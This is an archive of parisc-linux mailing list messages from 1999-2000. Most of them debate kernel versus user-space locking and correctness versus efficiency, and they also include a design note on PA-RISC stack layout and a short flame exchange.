Note that efficiency *IS ALWAYS LESS IMPORTANT THAN CORRECTNESS*.
That's 100%, totally vital!  To say "important" is to make a severe
understatement.

Well then, where can we put locking such that it's more likely to be
correct?  The kernel.  You can (and have to) rely on the kernel more than on
user code.  The kernel gets patched/fixed/updated regularly.  The kernel
is a *single point* of implementation, as opposed to hundreds of separate
points of implementation.

Why not rely on libraries?  Because code in libraries is potentially
staler than the kernel, and you have potentially many different variations.
Can you interrogate and ask what version of msem_lock() you're calling?  
Can you find out what version of msem_lock an archive-linked application
you downloaded from a web site is running?
No...but you *can* ask what version of Linux (or whatever) you're running!

Alan...this is the voice of experience again...shouting louder! :)

An operating system should provide a user-callable locking mechanism that:

   - provides a single-owner lock;

   - provides an optional multi-owner lock (e.g., multiple processes 
     can lock for shared read access, or it can be locked by a single 
     owner for "write" access);

   - provides an optional (short-term) priority boost if a high priority
     process wants to obtain a lock owned by a low priority process

   - identifies what locks are currently held by what processes (and
     for how long)

   - is 100% reliable and, if possible, highly efficient

   - allows the programmer to give a hint to the OS about the length
     of time they'll have the lock locked

   - allows a root process to unlock a lock owned by a hung/dead process
     (with stated semantics...e.g., does the first waiter get the lock,
     or receive an error (i.e., ERR_PRIOR_OWNER_DIED))

   - allows the programmer to specify what happens to a locked lock
     owned by a process that then dies. 

   - optionally detects deadlocks, and/or prevents deadlock attempts.

Although I can't find the man pages for Linux msem_lock, I know that the
HP-UX msem_lock doesn't meet all of these criteria (nor does MPE/iX, although
it comes a lot closer).

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com        


From - Thu Nov 08 21:14:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Mon, 18 Dec 2000 19:54:52 +0000 (GMT)
Lines: 24
Approved: news@gmane.org
Message-ID: <E1486N5-000662-00@the-village.bc.nu>
References: <200012181944.LAA07568@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619445 9084 80.91.229.3 (22 Nov 2014 01:24:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com,
        phi@hpfrcu03.france.hp.com (Philippe Benard),
        alan@lxorguk.ukuu.org.uk (Alan Cox), lamont@hp.com (LaMont Jones),
        matthew@wil.cx (Matthew Wilcox), jes@linuxcare.com (Jes Sorensen),
        alan@linuxcare.com.au (Alan Modra),
        jsm@udlkern.fc.hp.com (John Marvin)
To: sieler@allegro.com (Stan Sieler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Dec 18 12:50:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA22665
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 12:50:41 -0700
Original-Received: (qmail 11671 invoked by uid 15267); 18 Dec 2000 19:53:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11587 invoked from network); 18 Dec 2000 19:53:34 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 19:53:34 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 1486N5-000662-00; Mon, 18 Dec 2000 19:54:55 +0000
In-Reply-To: <200012181944.LAA07568@opus.allegro.com> from "Stan Sieler" at Dec 18, 2000 11:44:45 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8932

> Note that efficiency *IS ALWAYS LESS IMPORTANT THAN CORRECTNESS*.
> That's 100%, totally vital!  To say "important" is to make a severe
> understatement.

Tell that to the folks I work with at times for whom user space lock testing
shaves 4 weeks off a run. Try the difference in Mozilla.

In both cases Im forced to disagree - at least for x86.

> Can you interrogate and ask what version of msem_lock() you're calling?  

Yes. ELF has versioned symbols if they have changed. You can use those for
many things. X86 however has a stable instruction set abi for locking.

> Although I can't find the man pages for Linux msem_lock, I know that the
> HP-UX msem_lock doesn't meet all of these criteria (nor does MPE/iX, although
> it comes a lot closer).

We use user space locks for stuff like pthreads on most platforms with
the kernel doing the contention cases. I'm not arguing that it wouldnt be nice
to let the kernel do it all if we had cheap syscalls. 

Alan


From - Thu Nov 08 21:14:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Mon, 18 Dec 2000 12:15:43 -0800 (PST)
Lines: 69
Approved: news@gmane.org
Message-ID: <200012182015.MAA08048@opus.allegro.com>
References: <E1486N5-000662-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619446 9086 80.91.229.3 (22 Nov 2014 01:24:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:06 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sieler@opus.allegro.com  Mon Dec 18 13:12:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA23470
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 13:12:47 -0700
Original-Received: (qmail 15516 invoked by uid 15267); 18 Dec 2000 20:15:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15502 invoked from network); 18 Dec 2000 20:15:44 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 20:15:44 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id MAA08048
	for parisc-linux@thepuffingroup.com; Mon, 18 Dec 2000 12:15:43 -0800
In-Reply-To: <E1486N5-000662-00@the-village.bc.nu> from "Alan Cox" at Dec 18, 2000 07:54:52 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:8933

Re:

> 
> > Note that efficiency *IS ALWAYS LESS IMPORTANT THAN CORRECTNESS*.
> > That's 100%, totally vital!  To say "important" is to make a severe
> > understatement.
> 
> Tell that to the folks I work with at times for whom user space lock testing
> shaves 4 weeks off a run. Try the difference in Mozilla.

To say I'm shocked is an understatment.

Alan, if you think efficiency is more important than correctness, then
please let us know what programs you've worked on,
so we can all avoid them! :)

However, I don't really believe you meant that!

Note that I never said efficiency isn't important.  But, it's like
a car with no brakes...that car can go faster in a straight line, but
it isn't correct ... and I sure as hell am not going to deploy such a car
for my commute!

> In both cases Im forced to disagree - at least for x86.

So...a fast x86 lock is more important than one that's correct?
I'm glad I'm not doing mission critical work on an x86! 
 
> > Can you interrogate and ask what version of msem_lock() you're calling?  
> 
> Yes. ELF has versioned symbols if they have changed. You can use those for
> many things. X86 however has a stable instruction set abi for locking.

So, the man page for msem_lock for ELF documents various versions?  Great!

Wait...no, it doesn't.

Scanning through a few ELF x-86 libraries fails to show any per-procedure
version information (although you can generally guess an overall version
of the library package).

With HP-UX, or MPE/iX, I can make a system call to inquire about the
OS version ... that, coupled with information available to the programmer
at writing time, allows a program to make decisions like "I won't try
to do X on this release, because I know that X didn't work correctly
until the next release".

Alan...I write products, some of them run on every release of MPE/iX
that's every come out.  That requires attention to detail, but the 
payoff is that you don't have to tell me what version you're running when
you get one of my programs.  I'd *like* to be able to do that on HP-UX
and Linux, but it's a awful lot harder. 

> We use user space locks for stuff like pthreads on most platforms with
> the kernel doing the contention cases. I'm not arguing that it wouldnt be nice
> to let the kernel do it all if we had cheap syscalls. 

Ok...the "I'm not arguing" sure wasn't clear before!

And...you still don't get it...it's not merely "nice", it's clearly better.
...just like the idea of adding brakes to that car.

(BTW, I'm trying to strip the cc list, so the interested parties don't get
tons of copies :)

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com        


From - Thu Nov 08 21:14:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Mon, 18 Dec 2000 13:44:12 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <20001218204414.F2EAF1872C@security.hp.com>
References: <E1486N5-000662-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619446 9088 80.91.229.3 (22 Nov 2014 01:24:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:06 +0000 (UTC)
Cc: sieler@allegro.com (Stan Sieler), parisc-linux@thepuffingroup.com,
        phi@hpfrcu03.france.hp.com (Philippe Benard),
        lamont@hp.com (LaMont Jones), matthew@wil.cx (Matthew Wilcox),
        jes@linuxcare.com (Jes Sorensen), alan@linuxcare.com.au (Alan Modra),
        jsm@udlkern.fc.hp.com (John Marvin), lamont@hp.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: lamont@hp.com  Mon Dec 18 13:41:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA24184
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 13:41:20 -0700
Original-Received: (qmail 29609 invoked by uid 15267); 18 Dec 2000 20:44:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29598 invoked from network); 18 Dec 2000 20:44:15 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 20:44:15 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 491F96CC0; Mon, 18 Dec 2000 15:44:15 -0500 (EST)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.1.44.224])
	by security.hp.com (Postfix) with ESMTP
	id F2EAF1872C; Mon, 18 Dec 2000 13:44:13 -0700 (MST)
In-reply-to: Your message of "Mon, 18 Dec 2000 19:54:52 GMT."
             <E1486N5-000662-00@the-village.bc.nu> 
Content-ID: <1213.977172252.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8934

> > Note that efficiency *IS ALWAYS LESS IMPORTANT THAN CORRECTNESS*.
> > That's 100%, totally vital!  To say "important" is to make a severe
> > understatement.
> Tell that to the folks I work with at times for whom user space lock testing
> shaves 4 weeks off a run. Try the difference in Mozilla.
> In both cases Im forced to disagree - at least for x86.

Correct appears to be a relative term.  An implementation of semaphores is
correct if it provides mutual exclusion.  Performance becomes a secondary
consideration to that, of course.

I have to side with Alan on this point.  x86 costs too much to go into the
kernel for something that you'll normally not have contention on.  The only
challenge there is that the owner of the resource may hold it for a _long_
time if he gets swapped out, since the kernel has no knowledge.  Note,
however, that it is still correct: eventually, all of the waiters will go
to sleep, and the owner will finally get time to do his thing and free the
sema.

With PA, there's a chance to get into kernel mode cheaply, and it probably
makes sense to do an arch-specific msem_lock() that avoids the heavy
contention issues.

> > Can you interrogate and ask what version of msem_lock() you're calling?  
> Yes. ELF has versioned symbols if they have changed. You can use those for
> many things. X86 however has a stable instruction set abi for locking.

parisc's set is usable as well, but there's a difference in how you code
test-and-set vs test-and-clear.  This makes it a royal pain to port code
that expects test-and-set to parisc...  (And test and inc/dec makes it
even easier...)

> > Although I can't find the man pages for Linux msem_lock, I know that the
> > HP-UX msem_lock doesn't meet all of these criteria (nor does MPE/iX, althou
> > it comes a lot closer).
> We use user space locks for stuff like pthreads on most platforms with
> the kernel doing the contention cases. I'm not arguing that it wouldnt be nic
> to let the kernel do it all if we had cheap syscalls. 

Sounds perfectly reasonable.  How hard is it to put arch-specific things
into that path?

lamont


From - Thu Nov 08 21:14:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] More on stacks
Date: Mon, 18 Dec 2000 21:36:28 +0000
Lines: 72
Approved: news@gmane.org
Message-ID: <20001218213628.A12128@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619446 9092 80.91.229.3 (22 Nov 2014 01:24:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:06 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Mon Dec 18 14:33:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA25181
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 14:33:36 -0700
Original-Received: (qmail 19447 invoked by uid 15267); 18 Dec 2000 21:36:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19399 invoked from network); 18 Dec 2000 21:36:31 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 21:36:31 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 1487xM-0003J1-00
	for parisc-linux@thepuffingroup.com; Mon, 18 Dec 2000 21:36:28 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8935


I've just committed code which makes stacks work sanely.  This was much
more tricky than I anticipated.  I now _don't_ believe that changes
are really needed to all binaries, and so I withdraw my request for a
break-all-binaries day.  Of course, there are other reasons we may wish
to do this.

I suspect my changes will have broken SOM support, but I don't have any
SOM binaries here to test with.  Please don't send me any, I can't afford
to download them :-)

It definitely works for 32-bit kernels.  Please check, Paul.  I've done
my best to use elf_addr_t, elf_caddr_t everywhere, so it should be
independent of kernel LP64 state.  I think the changes I've made to
<asm/processor.h> make start_thread32 obsolete.

Here's a bit of a design document I wrote while working on this problem.
It may explain why it was working before, and how it works now.
Does anyone think this document is worthy of being put on the website
or in Documentation/ or somewhere more permanent?



Before I started, we were setting our stack pointer to MAX_ARG_PAGES *
PAGE_SIZE.  Then the kernel was treating the stack as a downward-growing
entity, copying strings to it, etc.  This has the following problems:

 * It potentially wastes a large chunk of address space.  Not memory, since
   unused pages aren't allocated.
 * Programs which get close to this limit end up faulting during
   setup_elf_tables rather than returning -E2BIG.
 * We don't get a nice stack frame.  libc's _start entry point has to do a
   lot more work than really necessary.

So we need to move the strings down to the base of the stack area.
This is more difficult than I realised.  I restructured copy_strings
to start at the bottom instead of the top and copy the strings upwards
instead of downwards.

However, binfmt_script (amongst others) expects there to be room at
the bottom of the stack to prepend new argument strings.  I considered
making binfmt_elf `know' how many new strngs had been put on the stack
and munge the argv setup in an appropriate manner.  But this would be
very unpleasant code.

Instead, I rewrote copy_strings to put the strings on the stack in the
opposite order -- argv[argc-1] to argc[0].  Now new strings placed on
the stack would fit naturally into the argc calculation scheme [once
i'd written it, because it would have to work slightly differently from
the current scheme].  But then I noticed /proc/<pid>/environ and, more
importantly, /proc/<pid>/cmdline.  These expect the strings to be in the
right order.

Rather than rewrite these functions (and they would be significantly
slower if they had to reorder the strings instead of just copying them),
I've opted to go _back_ to copying the strings downward up unti the
point where they're mapped into memory.  At that point, the strings will
be copied (entirely within kernel memory, before they get mapped) into
pages so they appear to userspace mapped at the base of the stack area.
This also allows processes to setproctitle() [which appears to mean
overwriting argv[0] under Linux] without as much danger of overwriting
a crucial part of the stack.

After this mapping is done, setup_elf_tables will still have to be
modified somewhat as the stack will now be growing upwards.  But that's a
good thing since programs which attempt to overflow the maximum argument
length should now work properly again.


-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom Javen <tomja@InnoTrac.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A180 Ignition Howto
Date: Wed, 12 May 1999 12:37:44 +0300 (EEST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990512123657.29220A-100000@data.innotrac.fi>
References: <Pine.LNX.3.96.990511230805.202A-100000@quark.ix.netcom.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619447 9094 80.91.229.3 (22 Nov 2014 01:24:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:07 +0000 (UTC)
Cc: Alex deVries <adevries@redhat.com>, "Martin K. Petersen" <mkp@mkp.net>,
        parisc-linux@thepuffingroup.com
To: Kumar <kumar@ix.netcom.com>
Original-X-From: tomja@InnoTrac.fi  Wed May 12 03:41:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA11475
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 May 1999 03:41:31 -0600
Original-Received: (qmail 29683 invoked by uid 15267); 12 May 1999 09:41:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29674 invoked from network); 12 May 1999 09:41:11 -0000
Original-Received: from data.innotrac.fi (193.94.103.30)
  by mailserv2.iuinc.com with SMTP; 12 May 1999 09:41:11 -0000
Original-Received: from localhost (tomja@localhost [127.0.0.1])
	by data.innotrac.fi (8.8.5/8.8.5) with SMTP id MAA30360;
	Wed, 12 May 1999 12:37:45 +0300
In-Reply-To: <Pine.LNX.3.96.990511230805.202A-100000@quark.ix.netcom.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8936

On Tue, 11 May 1999, Kumar wrote:

> 
> 
> Flame intended:
> 
> Well I thought Linux was an international phenomenon and not limited
> to Americans, Canadians, Dane or Welshman. They already have enough money
> to lick Gates's ass. It all sounds so stupid to me...at least narrow
> minded. I am getting out of this mailing list as soon as possible.
> 
> Linux on PA-RISC does not depend on some self conceited people.
> 
> -Kumar
And your problem was ?


-- 
=============================+===========================
Tom Javen                    |   Innotrac Diagnostics Oy
email tom.javen@innotrac.fi  |   Finland
gsm   +358-40-5860532        |   phone +358-2-2410025
                             |   fax   +358-2-2410024
=============================+===========================
     


From - Thu Nov 08 21:14:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Mon, 18 Dec 2000 21:56:03 +0000 (GMT)
Lines: 10
Approved: news@gmane.org
Message-ID: <E1488GN-0006Gl-00@the-village.bc.nu>
References: <20001218204414.F2EAF1872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619447 9096 80.91.229.3 (22 Nov 2014 01:24:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:07 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), sieler@allegro.com (Stan Sieler),
        parisc-linux@thepuffingroup.com,
        phi@hpfrcu03.france.hp.com (Philippe Benard),
        lamont@hp.com (LaMont Jones), matthew@wil.cx (Matthew Wilcox),
        jes@linuxcare.com (Jes Sorensen), alan@linuxcare.com.au (Alan Modra),
        jsm@udlkern.fc.hp.com (John Marvin)
To: lamont@hp.com (LaMont Jones)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Dec 18 14:51:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA25790
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 14:51:55 -0700
Original-Received: (qmail 16175 invoked by uid 15267); 18 Dec 2000 21:54:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16151 invoked from network); 18 Dec 2000 21:54:51 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 21:54:51 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 1488GN-0006Gl-00; Mon, 18 Dec 2000 21:56:07 +0000
In-Reply-To: <20001218204414.F2EAF1872C@security.hp.com> from "LaMont Jones" at Dec 18, 2000 01:44:12 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8937

> > We use user space locks for stuff like pthreads on most platforms with
> > the kernel doing the contention cases. I'm not arguing that it wouldnt be nic
> > to let the kernel do it all if we had cheap syscalls. 
> 
> Sounds perfectly reasonable.  How hard is it to put arch-specific things
> into that path?

Its all arch specific, so you can do it right for hppa. The code in db3 is
also arch specific (falling back to kernel) as is the Mozilla code.


From - Thu Nov 08 21:14:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Mon, 18 Dec 2000 15:26:49 -0700
Lines: 106
Approved: news@gmane.org
Message-ID: <20001218222649.B02801872C@security.hp.com>
References: <200012181944.LAA07568@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619448 9100 80.91.229.3 (22 Nov 2014 01:24:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com,
        phi@hpfrcu03.france.hp.com (Philippe Benard),
        alan@lxorguk.ukuu.org.uk (Alan Cox), lamont@hp.com (LaMont Jones),
        matthew@wil.cx (Matthew Wilcox), jes@linuxcare.com (Jes Sorensen),
        alan@linuxcare.com.au (Alan Modra),
        jsm@udlkern.fc.hp.com (John Marvin), lamont@hp.com
To: Stan Sieler <sieler@allegro.com>
Original-X-From: lamont@hp.com  Mon Dec 18 15:23:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA27106
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 15:23:56 -0700
Original-Received: (qmail 31678 invoked by uid 15267); 18 Dec 2000 22:26:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31656 invoked from network); 18 Dec 2000 22:26:52 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 22:26:52 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 2A134496; Mon, 18 Dec 2000 17:26:51 -0500 (EST)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.1.44.224])
	by security.hp.com (Postfix) with ESMTP
	id B02801872C; Mon, 18 Dec 2000 15:26:49 -0700 (MST)
In-reply-to: Your message of "Mon, 18 Dec 2000 11:44:45 PST."
             <200012181944.LAA07568@opus.allegro.com> 
Content-ID: <1635.977178409.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8939

> Why?
>    - they make mistakes
So do kernel engineers.

>    - they don't know as much as they need to know
>    - their code runs on slightly different hardware (e.g., different
>      models of PA-RISC with slightly different characteristics).
These are the same point, and it ain't necessarily so.

>    - the cost of multiple copies of code (some copies by one user
>      programmer, some by another) 
>      ... many of which are "wrong" ... can be extreme.
This isn't a right vs wrong, just a code bloat issue...

>       - it must be done correctly (e.g., for single-owner locks, only one
>         thread must think it owns it at a time;
It doesn't matter if a thread thinks it owns the lock if it can't access
the resource.  (Yes, you can do locking that way, I can think of at least
two places in HP-UX where that is the case:  one in kernel mode, and one
in user mode with a kernel assist...)  Both of those are based on the fact
that it's more efficient to run like hell and then pick yourself up when
you trip than it is to lock before using.  Both cases were driven by the
simple fact that efficiency was the difference between having a product
and having a piece of junk.

>	  and the owner shouldn't be starved of CPU time;
Doesn't matter until someone else wants the resource...  Given a finite
amount of CPU resource, and a given number of locks, someone is going to
get starved sometime.

>	  and a requestor shouldn't run away with CPU resources)
Shouldn't hold the resource _longer_than_necessary_.  But now you're
talking performance.

>       - it must be efficient.
It _should_ be efficient.

> Note that efficiency *IS ALWAYS LESS IMPORTANT THAN CORRECTNESS*.
> That's 100%, totally vital!  To say "important" is to make a severe
> understatement.

See above.  The correct technical solution is not always the correct
business decision.  (And man, does it hurt parts of me to say that.)
If the efficient solution allows a bit of starvation in a corner case,
then it may be best to just document the corner case and live with it,
based on how much better the normal case is.

> Well then, where can we put locking such that it's more likely to be
> correct?  The kernel.  You can (and have to) rely on the kernel more than on
> user code.  The kernel gets patched/fixed/updated regularly.  The kernel
> is a *single point* of implementation, as opposed to hundreds of separate
> points of implementation.

A single shared-only library pretty much constitutes a single point of
implementation as well.

> Why not rely on libraries?  Because code in libraries is potentially
> staler than the kernel, and you have potentially many different variations.
> Can you interrogate and ask what version of msem_lock() you're calling?  
> Can you find out what version of msem_lock an archive-linked application
> you downloaded from a web site is running?
> No...but you *can* ask what version of Linux (or whatever) you're running!

You can also provide the locking code in a shared-only library.  Depending
on what is being locked, you may not have to worry about all of the above:
if the entire set of binaries that will be locking the shared resource
arrive as a set, then you just make sure that you deliver the set.  If you
have, say, a database that is accessed by everyone and their mother, then
you may have a different situation on your hands.

Spinning in user space before going to the kernel to do it is a waste
of every user-space cycle, but only when you go to the kernel.  Faced
with a 50-state kernel-mode cost, I would be strongly inclined (for a
performance sensitive app) to go with a user space spin, with kernel
assisted blocking.  If I were concerned about the starvation potential,
I would consider some minor adjustments to the blocking code in the
kernel to promote the owner of the lock, in order to reduce the starvation
issues.

There are situations where performance is _EVERYTHING_.  In those cases,
you pay a higher support price, and just do what has to be done.

> Alan...this is the voice of experience again...shouting louder! :)
> An operating system should provide a user-callable locking mechanism that:

>    - allows the programmer to give a hint to the OS about the length
>      of time they'll have the lock locked

Not really needed, but certainly on the wishlist.

>    - allows a root process to unlock a lock owned by a hung/dead process
>      (with stated semantics...e.g., does the first waiter get the lock,
>      or receive an error (i.e., ERR_PRIOR_OWNER_DIED))

If the lock is not in kernel memory, then I don't have to have someone
unlock the sema, that becomes an app issue.

>    - optionally detects deadlocks, and/or prevents deadlock attempts.

If sleeping is done at interruptable priorities, then this is an app
problem, although it sure is nice when the locking API takes care of
deadlock detection - it lets you be sloppy in defining your locking
strategy and get away with it.

lamont


From - Thu Nov 08 21:14:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SuckyIO support
Date: Tue, 19 Dec 2000 09:42:51 +0000
Lines: 56
Approved: news@gmane.org
Message-ID: <20001219094251.A17217@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619448 9102 80.91.229.3 (22 Nov 2014 01:24:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:08 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Tue Dec 19 02:39:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA31198
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Dec 2000 02:39:55 -0700
Original-Received: (qmail 21420 invoked by uid 15267); 19 Dec 2000 09:42:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
